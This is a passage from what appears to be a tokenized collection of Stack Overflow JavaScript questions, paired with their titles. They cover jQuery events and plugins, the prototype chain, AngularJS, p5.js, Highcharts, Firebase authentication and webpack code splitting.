this.id ) { // Check if it 's within a certain range ( obviously , gravity does n't work this way ... But I plan on having a large `` space '' area , // And I ca n't very well have all objects accounted for at all times , can I ? if ( this.distanceTo ( gobjs [ i ] ) < this.a.size*10 & & gobjs [ i ] .fields.indexOf ( this.id ) == -1 ) { gobjs [ i ] .fields.push ( this.id ) ; } } } for ( i = 0 ; i < this.fields.length ; i++ ) { distance = this.distanceTo ( gobjs [ this.fields [ i ] ] ) ; angletosun = this.angleTo ( gobjs [ this.fields [ i ] ] ) * ( 180/Math.PI ) ; // .angleTo works very well , returning the angle in radians , which I convert to degrees here . // I have no idea what should happen here , although through trial and error ( and attempting to read Maths papers on gravity ( eeeeek ! ) ) , this sort of mimics gravity . // angle is its orientation , currently I assign a constant velocity to one of my objects , and leave the other static ( it ignores gravity , but still emits it ) . // This cant be right , because it just _sets_ the angle regardless of whatever it was . // This is where we need to find `` the average of the forces '' . this.a.angle = angletosun+ ( 75+ ( distance*-1 ) /5 ) ; //todo : omg learn math if ( this.distanceTo ( gobjs [ this.fields [ i ] ] ) > gobjs [ this.fields [ i ] ] .a.size*10 ) { this.fields.splice ( i ) ; // out of range , stop effecting . } } } ) ; //draw objects based on new position ( from fixed velocity and angle ) . } } ) ; this.a.angle = angletosun+ ( 75+ ( distance*-1 ) /5 ) ;",Javascript phsyics in a 2d space "JS : I 'm trying to stop a particular click event from bubbling to document-root , which in result closes one of my popup . I need to stop bubbling of the event and body or html are my only options to intercept and stop it.The date-picker popup is generated on the fly so I can not use a direct event on .ui-icon element , so I have registered a delegate event on body element to stop it from bubbling.Surprisingly enough registering a direct event to body element and checking the event 's target works just fine.I am really at a loss , why the previous one does not work where the later does , both of them are supposed to do the same . What am I missing ? It might have to do with jQuery datepicker getting recomposed ( its whole content block is rebuilt on navigation ) before the event reaches body ( but it does not make sense ) ? Snippet with the issue is added below . I just want the arrows ( datepicker navigation ) to stop bubbling to document/root level ( which closes my popup ) and because datepicker gets appended to body , the only available intercept points are body/html . ( function ( $ ) { $ ( function ( ) { $ ( 'body ' ) .on ( 'click ' , '.ui-icon ' , function ( e ) { e.stopPropagation ( ) ; } ) ; } ) ; } ) ( jQuery ) ; ( function ( $ ) { $ ( function ( ) { $ ( 'body ' ) .on ( 'click ' , function ( e ) { if ( $ ( e.target ) .is ( '.ui-icon ' ) ) { e.stopPropagation ( ) ; } } ) ; } ) ; } ) ( jQuery ) ; $ ( function ( ) { let popup = $ ( ' # some-popup ' ) .addClass ( 'visible ' ) ; let input = $ ( ' # some-date ' ) ; let toggler = $ ( ' # toggler ' ) ; // binding popup toggler.on ( 'click ' , function ( e ) { e.stopPropagation ( ) ; popup.toggleClass ( 'visible ' ) ; } ) ; // initializing jQuery UI datepicker input.datepicker ( ) ; // closing popup on document clicks other than popup itself $ ( document ) .on ( 'click ' , function ( e ) { let target = $ ( e.target ) ; if ( target.is ( '.ui-icon , .ui-datepicker-prev , .ui-datepicker-next ' ) ) { console.warn ( 'shouldn\'t have reached this , got : ' + target.attr ( 'class ' ) ) ; } if ( ! ( target.is ( ' # some-popup ' ) ) ) { popup.removeClass ( 'visible ' ) ; } } ) ; // trying to prevent click from reaching document $ ( 'body ' ) .on ( 'click ' , '.ui-icon , .ui-datepicker-prev , .ui-datepicker-next ' , function ( e ) { e.stopPropagation ( ) ; } ) } ) ; # some-popup { padding : 15px 25px ; background : # 000 ; color : # fff ; display : none ; max-width : 200px ; } # some-popup.visible { display : block ; } # toggler { margin-bottom : 10px ; } < head > < link href= '' https : //code.jquery.com/ui/1.11.4/themes/black-tie/jquery-ui.css '' rel= '' stylesheet '' > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < script src= '' https : //code.jquery.com/ui/1.12.1/jquery-ui.min.js '' > < /script > < /head > < body > < div id= '' some-popup '' > This is the popup < /div > < button type= '' button '' id= '' toggler '' > Show/Hide Popup < /button > < form > < label for= '' some-date '' > The Date-Picker < /label > < input id= '' some-date '' onclick= '' event.stopPropagation ( ) ; '' / > < /form > < /body >",jQuery event delegation is not working on jQuery UI datepicker JS : I was trying to learn how object.prototype function in javascript then I came across this snippet of code .which I do n't understand ? foo has the property bar which is defined in the line number 3 and having the value of undefined .Please guide then why foo.hasOwnProperty ( 'bar ' ) returns false in this case // Poisoning Object.prototypeObject.prototype.bar = 1 ; var foo = { goo : undefined } ; foo.bar ; // 1'bar ' in foo ; // truefoo.hasOwnProperty ( 'bar ' ) ; // falsefoo.hasOwnProperty ( 'goo ' ) ; // true,JavaScript object prototype Poisoning "JS : The following jquery I am using in my jsp page for adding an autocomplete option to a text field which is having an id mytextfield.Within the same page , there are some cases in which I will have to remove this autocomplete feature from this text field . ( That is the same field will have to act as a textfield without autocomplete based on the user 's inputs to previous fields and options ) Is there any way so that I could remove this newly added 'autocomplete ' property from the particular item , that is from $ ( `` # mytextfield '' ) .What actually I want to know is is there any option for removing added propertyIncase anyone want to refer that autocomplete code , I have attached it below.. jQuery ( function ( ) { $ ( `` # mytextfield '' ) .autocomplete ( `` popuppages/listall.jsp '' ) ; } ) ; ; ( function ( $ ) { $ .fn.extend ( { autocomplete : function ( urlOrData , options ) { var isUrl = typeof urlOrData == `` string '' ; options = $ .extend ( { } , $ .Autocompleter.defaults , { url : isUrl ? urlOrData : null , data : isUrl ? null : urlOrData , delay : isUrl ? $ .Autocompleter.defaults.delay : 10 , max : options & & ! options.scroll ? 10 : 150 } , options ) ; // if highlight is set to false , replace it with a do-nothing function options.highlight = options.highlight || function ( value ) { return value ; } ; // if the formatMatch option is not specified , then use formatItem for backwards compatibility options.formatMatch = options.formatMatch || options.formatItem ; return this.each ( function ( ) { new $ .Autocompleter ( this , options ) ; } ) ; } , result : function ( handler ) { return this.bind ( `` result '' , handler ) ; } , search : function ( handler ) { return this.trigger ( `` search '' , [ handler ] ) ; } , flushCache : function ( ) { return this.trigger ( `` flushCache '' ) ; } , setOptions : function ( options ) { return this.trigger ( `` setOptions '' , [ options ] ) ; } , unautocomplete : function ( ) { return this.trigger ( `` unautocomplete '' ) ; } } ) ; $ .Autocompleter = function ( input , options ) { var KEY = { UP : 38 , DOWN : 40 , DEL : 46 , TAB : 9 , RETURN : 13 , ESC : 27 , COMMA : 188 , PAGEUP : 33 , PAGEDOWN : 34 , BACKSPACE : 8 } ; // Create $ object for input element var $ input = $ ( input ) .attr ( `` autocomplete '' , `` off '' ) .addClass ( options.inputClass ) ; var timeout ; var previousValue = `` '' ; var cache = $ .Autocompleter.Cache ( options ) ; var hasFocus = 0 ; var lastKeyPressCode ; var config = { mouseDownOnSelect : false } ; var select = $ .Autocompleter.Select ( options , input , selectCurrent , config ) ; var blockSubmit ; // prevent form submit in opera when selecting with return key $ .browser.opera & & $ ( input.form ) .bind ( `` submit.autocomplete '' , function ( ) { if ( blockSubmit ) { blockSubmit = false ; return false ; } } ) ; // only opera does n't trigger keydown multiple times while pressed , others do n't work with keypress at all $ input.bind ( ( $ .browser.opera ? `` keypress '' : `` keydown '' ) + `` .autocomplete '' , function ( event ) { // a keypress means the input has focus // avoids issue where input had focus before the autocomplete was applied hasFocus = 1 ; // track last key pressed lastKeyPressCode = event.keyCode ; switch ( event.keyCode ) { case KEY.UP : event.preventDefault ( ) ; if ( select.visible ( ) ) { select.prev ( ) ; } else { onChange ( 0 , true ) ; } break ; case KEY.DOWN : event.preventDefault ( ) ; if ( select.visible ( ) ) { select.next ( ) ; } else { onChange ( 0 , true ) ; } break ; case KEY.PAGEUP : event.preventDefault ( ) ; if ( select.visible ( ) ) { select.pageUp ( ) ; } else { onChange ( 0 , true ) ; } break ; case KEY.PAGEDOWN : event.preventDefault ( ) ; if ( select.visible ( ) ) { select.pageDown ( ) ; } else { onChange ( 0 , true ) ; } break ; // matches also semicolon case options.multiple & & $ .trim ( options.multipleSeparator ) == `` , '' & & KEY.COMMA : case KEY.TAB : case KEY.RETURN : if ( selectCurrent ( ) ) { // stop default to prevent a form submit , Opera needs special handling event.preventDefault ( ) ; blockSubmit = true ; return false ; } break ; case KEY.ESC : select.hide ( ) ; break ; default : clearTimeout ( timeout ) ; timeout = setTimeout ( onChange , options.delay ) ; break ; } } ) .focus ( function ( ) { // track whether the field has focus , we should n't process any // results if the field no longer has focus hasFocus++ ; } ) .blur ( function ( ) { hasFocus = 0 ; if ( ! config.mouseDownOnSelect ) { hideResults ( ) ; } } ) .click ( function ( ) { // show select when clicking in a focused field if ( hasFocus++ > 1 & & ! select.visible ( ) ) { onChange ( 0 , true ) ; } } ) .bind ( `` search '' , function ( ) { // TODO why not just specifying both arguments ? var fn = ( arguments.length > 1 ) ? arguments [ 1 ] : null ; function findValueCallback ( q , data ) { var result ; if ( data & & data.length ) { for ( var i=0 ; i < data.length ; i++ ) { if ( data [ i ] .result.toLowerCase ( ) == q.toLowerCase ( ) ) { result = data [ i ] ; break ; } } } if ( typeof fn == `` function '' ) fn ( result ) ; else $ input.trigger ( `` result '' , result & & [ result.data , result.value ] ) ; } $ .each ( trimWords ( $ input.val ( ) ) , function ( i , value ) { request ( value , findValueCallback , findValueCallback ) ; } ) ; } ) .bind ( `` flushCache '' , function ( ) { cache.flush ( ) ; } ) .bind ( `` setOptions '' , function ( ) { $ .extend ( options , arguments [ 1 ] ) ; // if we 've updated the data , repopulate if ( `` data '' in arguments [ 1 ] ) cache.populate ( ) ; } ) .bind ( `` unautocomplete '' , function ( ) { select.unbind ( ) ; $ input.unbind ( ) ; $ ( input.form ) .unbind ( `` .autocomplete '' ) ; } ) ; function selectCurrent ( ) { var selected = select.selected ( ) ; if ( ! selected ) return false ; var v = selected.result ; previousValue = v ; if ( options.multiple ) { var words = trimWords ( $ input.val ( ) ) ; if ( words.length > 1 ) { var seperator = options.multipleSeparator.length ; var cursorAt = $ ( input ) .selection ( ) .start ; var wordAt , progress = 0 ; $ .each ( words , function ( i , word ) { progress += word.length ; if ( cursorAt < = progress ) { wordAt = i ; return false ; } progress += seperator ; } ) ; words [ wordAt ] = v ; // TODO this should set the cursor to the right position , but it gets overriden somewhere // $ .Autocompleter.Selection ( input , progress + seperator , progress + seperator ) ; v = words.join ( options.multipleSeparator ) ; } v += options.multipleSeparator ; } $ input.val ( v ) ; hideResultsNow ( ) ; $ input.trigger ( `` result '' , [ selected.data , selected.value ] ) ; return true ; } function onChange ( crap , skipPrevCheck ) { if ( lastKeyPressCode == KEY.DEL ) { select.hide ( ) ; return ; } var currentValue = $ input.val ( ) ; if ( ! skipPrevCheck & & currentValue == previousValue ) return ; previousValue = currentValue ; currentValue = lastWord ( currentValue ) ; if ( currentValue.length > = options.minChars ) { $ input.addClass ( options.loadingClass ) ; if ( ! options.matchCase ) currentValue = currentValue.toLowerCase ( ) ; request ( currentValue , receiveData , hideResultsNow ) ; } else { stopLoading ( ) ; select.hide ( ) ; } } ; function trimWords ( value ) { if ( ! value ) return [ `` '' ] ; if ( ! options.multiple ) return [ $ .trim ( value ) ] ; return $ .map ( value.split ( options.multipleSeparator ) , function ( word ) { return $ .trim ( value ) .length ? $ .trim ( word ) : null ; } ) ; } function lastWord ( value ) { if ( ! options.multiple ) return value ; var words = trimWords ( value ) ; if ( words.length == 1 ) return words [ 0 ] ; var cursorAt = $ ( input ) .selection ( ) .start ; if ( cursorAt == value.length ) { words = trimWords ( value ) } else { words = trimWords ( value.replace ( value.substring ( cursorAt ) , `` '' ) ) ; } return words [ words.length - 1 ] ; } // fills in the input box w/the first match ( assumed to be the best match ) // q : the term entered // sValue : the first matching result function autoFill ( q , sValue ) { // autofill in the complete box w/the first match as long as the user has n't entered in more data // if the last user key pressed was backspace , do n't autofill if ( options.autoFill & & ( lastWord ( $ input.val ( ) ) .toLowerCase ( ) == q.toLowerCase ( ) ) & & lastKeyPressCode ! = KEY.BACKSPACE ) { // fill in the value ( keep the case the user has typed ) $ input.val ( $ input.val ( ) + sValue.substring ( lastWord ( previousValue ) .length ) ) ; // select the portion of the value not typed by the user ( so the next character will erase ) $ ( input ) .selection ( previousValue.length , previousValue.length + sValue.length ) ; } } ; function hideResults ( ) { clearTimeout ( timeout ) ; timeout = setTimeout ( hideResultsNow , 200 ) ; } ; function hideResultsNow ( ) { var wasVisible = select.visible ( ) ; select.hide ( ) ; clearTimeout ( timeout ) ; stopLoading ( ) ; if ( options.mustMatch ) { // call search and run callback $ input.search ( function ( result ) { // if no value found , clear the input box if ( ! result ) { if ( options.multiple ) { var words = trimWords ( $ input.val ( ) ) .slice ( 0 , -1 ) ; $ input.val ( words.join ( options.multipleSeparator ) + ( words.length ? options.multipleSeparator : `` '' ) ) ; } else { $ input.val ( `` '' ) ; $ input.trigger ( `` result '' , null ) ; } } } ) ; } } ; function receiveData ( q , data ) { if ( data & & data.length & & hasFocus ) { stopLoading ( ) ; select.display ( data , q ) ; autoFill ( q , data [ 0 ] .value ) ; select.show ( ) ; } else { hideResultsNow ( ) ; } } ; function request ( term , success , failure ) { if ( ! options.matchCase ) term = term.toLowerCase ( ) ; var data = cache.load ( term ) ; // recieve the cached data if ( data & & data.length ) { success ( term , data ) ; // if an AJAX url has been supplied , try loading the data now } else if ( ( typeof options.url == `` string '' ) & & ( options.url.length > 0 ) ) { var extraParams = { timestamp : +new Date ( ) } ; $ .each ( options.extraParams , function ( key , param ) { extraParams [ key ] = typeof param == `` function '' ? param ( ) : param ; } ) ; $ .ajax ( { // try to leverage ajaxQueue plugin to abort previous requests mode : `` abort '' , // limit abortion to this input port : `` autocomplete '' + input.name , dataType : options.dataType , url : options.url , data : $ .extend ( { q : lastWord ( term ) , limit : options.max } , extraParams ) , success : function ( data ) { var parsed = options.parse & & options.parse ( data ) || parse ( data ) ; cache.add ( term , parsed ) ; success ( term , parsed ) ; } } ) ; } else { // if we have a failure , we need to empty the list -- this prevents the the [ TAB ] key from selecting the last successful match select.emptyList ( ) ; failure ( term ) ; } } ; function parse ( data ) { var parsed = [ ] ; var rows = data.split ( `` \n '' ) ; for ( var i=0 ; i < rows.length ; i++ ) { var row = $ .trim ( rows [ i ] ) ; if ( row ) { row = row.split ( `` | '' ) ; parsed [ parsed.length ] = { data : row , value : row [ 0 ] , result : options.formatResult & & options.formatResult ( row , row [ 0 ] ) || row [ 0 ] } ; } } return parsed ; } ; function stopLoading ( ) { $ input.removeClass ( options.loadingClass ) ; } ; } ; $ .Autocompleter.defaults = { inputClass : `` ac_input '' , resultsClass : `` ac_results '' , loadingClass : `` ac_loading '' , minChars : 1 , delay : 400 , matchCase : false , matchSubset : true , matchContains : false , cacheLength : 10 , max : 100 , mustMatch : false , extraParams : { } , selectFirst : true , formatItem : function ( row ) { return row [ 0 ] ; } , formatMatch : null , autoFill : false , width : 0 , multiple : false , multipleSeparator : `` , `` , highlight : function ( value , term ) { return value.replace ( new RegExp ( `` ( ? ! [ ^ & ; ] + ; ) ( ? ! < [ ^ < > ] * ) ( `` + term.replace ( / ( [ \^\ $ \ ( \ ) \ [ \ ] \ { \ } \*\.\+\ ? \|\\ ] ) /gi , `` \\ $ 1 '' ) + `` ) ( ? ! [ ^ < > ] * > ) ( ? ! [ ^ & ; ] + ; ) '' , `` gi '' ) , `` < strong > $ 1 < /strong > '' ) ; } , scroll : true , scrollHeight : 180 } ; $ .Autocompleter.Cache = function ( options ) { var data = { } ; var length = 0 ; function matchSubset ( s , sub ) { if ( ! options.matchCase ) s = s.toLowerCase ( ) ; var i = s.indexOf ( sub ) ; if ( options.matchContains == `` word '' ) { i = s.toLowerCase ( ) .search ( `` \\b '' + sub.toLowerCase ( ) ) ; } if ( i == -1 ) return false ; return i == 0 || options.matchContains ; } ; function add ( q , value ) { if ( length > options.cacheLength ) { flush ( ) ; } if ( ! data [ q ] ) { length++ ; } data [ q ] = value ; } function populate ( ) { if ( ! options.data ) return false ; // track the matches var stMatchSets = { } , nullData = 0 ; // no url was specified , we need to adjust the cache length to make sure it fits the local data store if ( ! options.url ) options.cacheLength = 1 ; // track all options for minChars = 0 stMatchSets [ `` '' ] = [ ] ; // loop through the array and create a lookup structure for ( var i = 0 , ol = options.data.length ; i < ol ; i++ ) { var rawValue = options.data [ i ] ; // if rawValue is a string , make an array otherwise just reference the array rawValue = ( typeof rawValue == `` string '' ) ? [ rawValue ] : rawValue ; var value = options.formatMatch ( rawValue , i+1 , options.data.length ) ; if ( value === false ) continue ; var firstChar = value.charAt ( 0 ) .toLowerCase ( ) ; // if no lookup array for this character exists , look it up now if ( ! stMatchSets [ firstChar ] ) stMatchSets [ firstChar ] = [ ] ; // if the match is a string var row = { value : value , data : rawValue , result : options.formatResult & & options.formatResult ( rawValue ) || value } ; // push the current match into the set list stMatchSets [ firstChar ] .push ( row ) ; // keep track of minChars zero items if ( nullData++ < options.max ) { stMatchSets [ `` '' ] .push ( row ) ; } } ; // add the data items to the cache $ .each ( stMatchSets , function ( i , value ) { // increase the cache size options.cacheLength++ ; // add to the cache add ( i , value ) ; } ) ; } // populate any existing data setTimeout ( populate , 25 ) ; function flush ( ) { data = { } ; length = 0 ; } return { flush : flush , add : add , populate : populate , load : function ( q ) { if ( ! options.cacheLength || ! length ) return null ; /* * if dealing w/local data and matchContains than we must make sure * to loop through all the data collections looking for matches */ if ( ! options.url & & options.matchContains ) { // track all matches var csub = [ ] ; // loop through all the data grids for matches for ( var k in data ) { // do n't search through the stMatchSets [ `` '' ] ( minChars : 0 ) cache // this prevents duplicates if ( k.length > 0 ) { var c = data [ k ] ; $ .each ( c , function ( i , x ) { // if we 've got a match , add it to the array if ( matchSubset ( x.value , q ) ) { csub.push ( x ) ; } } ) ; } } return csub ; } else // if the exact item exists , use it if ( data [ q ] ) { return data [ q ] ; } else if ( options.matchSubset ) { for ( var i = q.length - 1 ; i > = options.minChars ; i -- ) { var c = data [ q.substr ( 0 , i ) ] ; if ( c ) { var csub = [ ] ; $ .each ( c , function ( i , x ) { if ( matchSubset ( x.value , q ) ) { csub [ csub.length ] = x ; } } ) ; return csub ; } } } return null ; } } ; } ; $ .Autocompleter.Select = function ( options , input , select , config ) { var CLASSES = { ACTIVE : `` ac_over '' } ; var listItems , active = -1 , data , term = `` '' , needsInit = true , element , list ; // Create results function init ( ) { if ( ! needsInit ) return ; element = $ ( `` < div/ > '' ) .hide ( ) .addClass ( options.resultsClass ) .css ( `` position '' , `` absolute '' ) .appendTo ( document.body ) ; list = $ ( `` < ul/ > '' ) .appendTo ( element ) .mouseover ( function ( event ) { if ( target ( event ) .nodeName & & target ( event ) .nodeName.toUpperCase ( ) == 'LI ' ) { active = $ ( `` li '' , list ) .removeClass ( CLASSES.ACTIVE ) .index ( target ( event ) ) ; $ ( target ( event ) ) .addClass ( CLASSES.ACTIVE ) ; } } ) .click ( function ( event ) { $ ( target ( event ) ) .addClass ( CLASSES.ACTIVE ) ; select ( ) ; // TODO provide option to avoid setting focus again after selection ? useful for cleanup-on-focus input.focus ( ) ; return false ; } ) .mousedown ( function ( ) { config.mouseDownOnSelect = true ; } ) .mouseup ( function ( ) { config.mouseDownOnSelect = false ; } ) ; if ( options.width > 0 ) element.css ( `` width '' , options.width ) ; needsInit = false ; } function target ( event ) { var element = event.target ; while ( element & & element.tagName ! = `` LI '' ) element = element.parentNode ; // more fun with IE , sometimes event.target is empty , just ignore it then if ( ! element ) return [ ] ; return element ; } function moveSelect ( step ) { listItems.slice ( active , active + 1 ) .removeClass ( CLASSES.ACTIVE ) ; movePosition ( step ) ; var activeItem = listItems.slice ( active , active + 1 ) .addClass ( CLASSES.ACTIVE ) ; if ( options.scroll ) { var offset = 0 ; listItems.slice ( 0 , active ) .each ( function ( ) { offset += this.offsetHeight ; } ) ; if ( ( offset + activeItem [ 0 ] .offsetHeight - list.scrollTop ( ) ) > list [ 0 ] .clientHeight ) { list.scrollTop ( offset + activeItem [ 0 ] .offsetHeight - list.innerHeight ( ) ) ; } else if ( offset < list.scrollTop ( ) ) { list.scrollTop ( offset ) ; } } } ; function movePosition ( step ) { active += step ; if ( active < 0 ) { active = listItems.size ( ) - 1 ; } else if ( active > = listItems.size ( ) ) { active = 0 ; } } function limitNumberOfItems ( available ) { return options.max & & options.max < available ? options.max : available ; } function fillList ( ) { list.empty ( ) ; var max = limitNumberOfItems ( data.length ) ; for ( var i=0 ; i < max ; i++ ) { if ( ! data [ i ] ) continue ; var formatted = options.formatItem ( data [ i ] .data , i+1 , max , data [ i ] .value , term ) ; if ( formatted === false ) continue ; var li = $ ( `` < li/ > '' ) .html ( options.highlight ( formatted , term ) ) .addClass ( i % 2 == 0 ? `` ac_even '' : `` ac_odd '' ) .appendTo ( list ) [ 0 ] ; $ .data ( li , `` ac_data '' , data [ i ] ) ; } listItems = list.find ( `` li '' ) ; if ( options.selectFirst ) { listItems.slice ( 0 , 1 ) .addClass ( CLASSES.ACTIVE ) ; active = 0 ; } // apply bgiframe if available if ( $ .fn.bgiframe ) list.bgiframe ( ) ; } return { display : function ( d , q ) { init ( ) ; data = d ; term = q ; fillList ( ) ; } , next : function ( ) { moveSelect ( 1 ) ; } , prev : function ( ) { moveSelect ( -1 ) ; } , pageUp : function ( ) { if ( active ! = 0 & & active - 8 < 0 ) { moveSelect ( -active ) ; } else { moveSelect ( -8 ) ; } } , pageDown : function ( ) { if ( active ! = listItems.size ( ) - 1 & & active + 8 > listItems.size ( ) ) { moveSelect ( listItems.size ( ) - 1 - active ) ; } else { moveSelect ( 8 ) ; } } , hide : function ( ) { element & & element.hide ( ) ; listItems & & listItems.removeClass ( CLASSES.ACTIVE ) ; active = -1 ; } , visible : function ( ) { return element & & element.is ( `` : visible '' ) ; } , current : function ( ) { return this.visible ( ) & & ( listItems.filter ( `` . '' + CLASSES.ACTIVE ) [ 0 ] || options.selectFirst & & listItems [ 0 ] ) ; } , show : function ( ) { var offset = $ ( input ) .offset ( ) ; element.css ( { width : typeof options.width == `` string '' || options.width > 0 ? options.width : $ ( input ) .width ( ) , top : offset.top + input.offsetHeight , left : offset.left } ) .show ( ) ; if ( options.scroll ) { list.scrollTop ( 0 ) ; list.css ( { maxHeight : options.scrollHeight , overflow : 'auto ' } ) ; if ( $ .browser.msie & & typeof document.body.style.maxHeight === `` undefined '' ) { var listHeight = 0 ; listItems.each ( function ( ) { listHeight += this.offsetHeight ; } ) ; var scrollbarsVisible = listHeight > options.scrollHeight ; list.css ( 'height ' , scrollbarsVisible ? options.scrollHeight : listHeight ) ; if ( ! scrollbarsVisible ) { // IE does n't recalculate width when scrollbar disappears listItems.width ( list.width ( ) - parseInt ( listItems.css ( `` padding-left '' ) ) - parseInt ( listItems.css ( `` padding-right '' ) ) ) ; } } } } , selected : function ( ) { var selected = listItems & & listItems.filter ( `` . '' + CLASSES.ACTIVE ) .removeClass ( CLASSES.ACTIVE ) ; return selected & & selected.length & & $ .data ( selected [ 0 ] , `` ac_data '' ) ; } , emptyList : function ( ) { list & & list.empty ( ) ; } , unbind : function ( ) { element & & element.remove ( ) ; } } ; } ; $ .fn.selection = function ( start , end ) { if ( start ! == undefined ) { return this.each ( function ( ) { if ( this.createTextRange ) { var selRange = this.createTextRange ( ) ; if ( end === undefined || start == end ) { selRange.move ( `` character '' , start ) ; selRange.select ( ) ; } else { selRange.collapse ( true ) ; selRange.moveStart ( `` character '' , start ) ; selRange.moveEnd ( `` character '' , end ) ; selRange.select ( ) ; } } else if ( this.setSelectionRange ) { this.setSelectionRange ( start , end ) ; } else if ( this.selectionStart ) { this.selectionStart = start ; this.selectionEnd = end ; } } ) ; } var field = this [ 0 ] ; if ( field.createTextRange ) { var range = document.selection.createRange ( ) , orig = field.value , teststring = `` < - > '' , textLength = range.text.length ; range.text = teststring ; var caretAt = field.value.indexOf ( teststring ) ; field.value = orig ; this.selection ( caretAt , caretAt + textLength ) ; return { start : caretAt , end : caretAt + textLength } } else if ( field.selectionStart ! == undefined ) { return { start : field.selectionStart , end : field.selectionEnd } } } ; } ) ( jQuery ) ;",How to remove a property from an item which was added using jquery JS : Is there a way of storing a built-in javascript method in a variable to set different behaviour for when this method is n't available in certain browsers ? My specific case is for intersectionObserver which is n't available in Safari or older MS browsers . I have some animations triggered by this and would like to turn them off if intersectionObserver is n't available . what I want to do essentially this : I do n't really want to load a polyfill or library for just one feature ? Many thanksEmily var iO = intersectionObserver ; if ( ! iO ) { // set other defaults },Create Feature detection for One Javascript Feature ( intersectionObserver ) "JS : In my form , I have two submit buttons.Now before submitting the form back to the server , I want to perform specific tasks depending on which button was clicked.How do I check which button was pressed ? < input type= '' submit '' name= '' save '' value= '' Save as draft '' / > < input type= '' submit '' name= '' send '' value= '' Start sending '' / > $ ( 'form ' ) .submit ( function ( ) { if submit equals save task 1 ; elseif submit equals send task 2 }",Discover which form button triggered submission "JS : I have an extension that first asks for permissions to access Google Drive files . The extension is almost empty except in the popup I load this js : In my manifest I have valid key , oauth2 client id , and `` scopes '' : [ `` https : //www.googleapis.com/auth/drive '' ] besides other standard keys for chrome extension . It works properly that is it asked for permission at first and then logged my access token . However , when I reinstalled extension ( deleted/modified/added ) it did n't ask me for permission and just wrote the same access token . And I want to ask the permission again . How can I do this ? chrome.identity.getAuthToken ( { 'interactive ' : true } , function ( token ) { // Use the token . console.log ( 'Request Token ' ) console.log ( token ) chrome.identity.removeCachedAuthToken ( { 'token ' : token } , function ( ) { } ) console.log ( 'Removed token ' ) } ) ;",Removing permissions of the extensions "JS : I 'm trying to build an animation on some phrases that will be displayed on the site main page , in a random position and with fade and translate effects.I would achieve this using ng-style attribute inside an ng-repeat attribute and setting the ng-style value calling a JavaScript function defined inside the HomeController.Using this approch cause angular to throw the exception : $ rootScope : infdig error 10 $ digest ( ) iterations reached . Aborting ! Watchers fired in the last 5 iterationsI read so much about this but no solution has solved my case . Anyone could help me ? Here is a part of index.html : Here is the controller function : } Here is a demo : http : //plnkr.co/edit/8sYks589agtLbZCGJ08B ? p=preview < div class= '' phrasesContainer '' animate-phrases= '' '' > < h3 class= '' flying-text '' ng-repeat= '' phrase in Phrases '' ng-style= '' getTopLeftPosition ( ) '' > { { phrase } } < /h3 > < /div > $ scope.getTopLeftPosition = function ( ) { var top = randomBetween ( 10 , 90 ) ; var left = getRandomTwoRange ( 5 , 30 , 70 , 80 ) ; return { top : top + ' % ' , left : left + ' % ' } ;",AngularJS : $ rootScope : infdig error when calling a ng-style function inside ng-repeat "JS : I 'm making a minesweeper clone , left click reveals the cell and right click is supposed to flag the cell.I 'm using the function mouseClicked ( ) - this allows me to reveal on left click and also reveal on right click.I tried usingThis registers once every frame that the button is held down . I just want a single right click . I imagine there is something simple that I 'm missing , but I really ca n't find anything in the documentation or anyone asking about it online.TL ; DR - I just want to be able to right click in p5.js . if ( mouseIsPressed ) { if ( mouseButton === LEFT ) { reveal } if ( mouseButton === RIGHT ) { flag } }",How to enable right click in p5.js ? "JS : I 'm using Highcharts SVG rendering API ( Renderer ) to draw custom chart and I want to animate rect 's stroke-width attribute . Here is the example provided in Highcharts documentation , but it seems not working properly - all attributes are changed except stroke-width.If I open HTML in Chrome DevTools I can see something like that : Stroke-width is set using camel-style name , not dash-style name.May be there is some workaround ? < rect x= '' 50 '' y= '' 50 '' width= '' 200 '' height= '' 20 '' rx= '' 5 '' ry= '' 5 '' stroke= '' gray '' stroke-width= '' 2 '' fill= '' silver '' zIndex= '' 3 '' strokeWidth= '' 10 '' > < /rect >",Animate stroke-width with Highcharts renderer "JS : I am creating anonymous sessions in my Firebase application to save user data before they create their accounts . I saw that Firebase allows linking a Facebook login to an anonymous account which sounds really neat , but a caveat of this process seems to be that I have to grab the Facebook token myself , outside the warmth and comfort of the awesome Firebase API , which seems strangely un-developed given how much of the login flow Firebase seems to do on behalf of apps . A code sample of how to connect an anonymous account from their account linking docs : Naturally , I want to use Firebase 's way of getting a tokenBut if I were to run that , I would lose my anonymous session ( and my anonymous user ID , which we want the new Facebook login to use ) . Is there anyway to get a Facebook Token out of Firebase 's auth mechanism without logging the user in and losing the anonymous session that I 'm trying to convert into a Facebook Login-able account ? ( The goal is to not have to call the Facebook API myself , especially as I 'll be adding Google here as well ) var credential = firebase.auth.FacebookAuthProvider.credential ( response.authResponse.accessToken ) ; var provider = new firebase.auth.FacebookAuthProvider ( ) ; firebase.auth ( ) .signInWithPopup ( provider ) .then ( function ( result ) { // result.token or whatever would appear here } ) ;",Link Facebook to Firebase Anonymous Auth without calling Facebook API "JS : This question might seem silly , but what 's the difference between accessing an element ( with id `` someId '' ) using document.getElementById ( `` someId '' ) Vs. just typing someId ? eg : vsHere 's a sample code http : //jsfiddle.net/pRaTA/ ( I found that it does n't work in firefox ) document.getElementById ( `` someId '' ) .style.top = `` 12px '' ; someId.style.top = `` 12px '' ;",document.getElementById ( `` someId '' ) Vs. someId "JS : Im trying to make a simple expo tween , it works , but its a bit jittery and FF seems to hang a bit . What can I do to improve it ? var distance = ( target - x ) * dir ; x += ( distance / 5 ) * dir ; if ( dir == 1 & & x > = target-1 ) { return ; } if ( dir == -1 & & x < = target+1 ) { return ; }",JS tween how to improve ? "JS : Using tools like Webpack we can enable code splitting and only load our application code asynchronously when required.Example in the context of a react application with react-router.Webpack waits until the code is required in order to initiate the request.My question is , once the base application code load , can we start loading the rest of the code , even before the user initiates the transition to the new route ? My view is that will prevent the user from waiting for the webpack chunk to download.I hope this makes sense Load initial page.- > go to new route -- - > webpack loads in the component file required asynchronous . - > Load initial page -- > user sitting idle or browsing on home page -- -- > Start loading application code for rest of the application -- - > user goes to new route ( faster UX because code has already download in the background )",Code Splitting / Preloading Content while user is browsing ? "JS : I have been reading `` javascript : the good part '' . Example usage is : Two questions : '' By augmenting Function.prototype with a method method , we no longer have to typethe name of the prototype property . That bit of ugliness can now be hidden . '' What does that mean ? So it saves typing `` .prototype.integer '' ? Does n't seem to be super important.We augmented Function.prototype , which sounds it 's specific to functions . Number is a native type , should we have 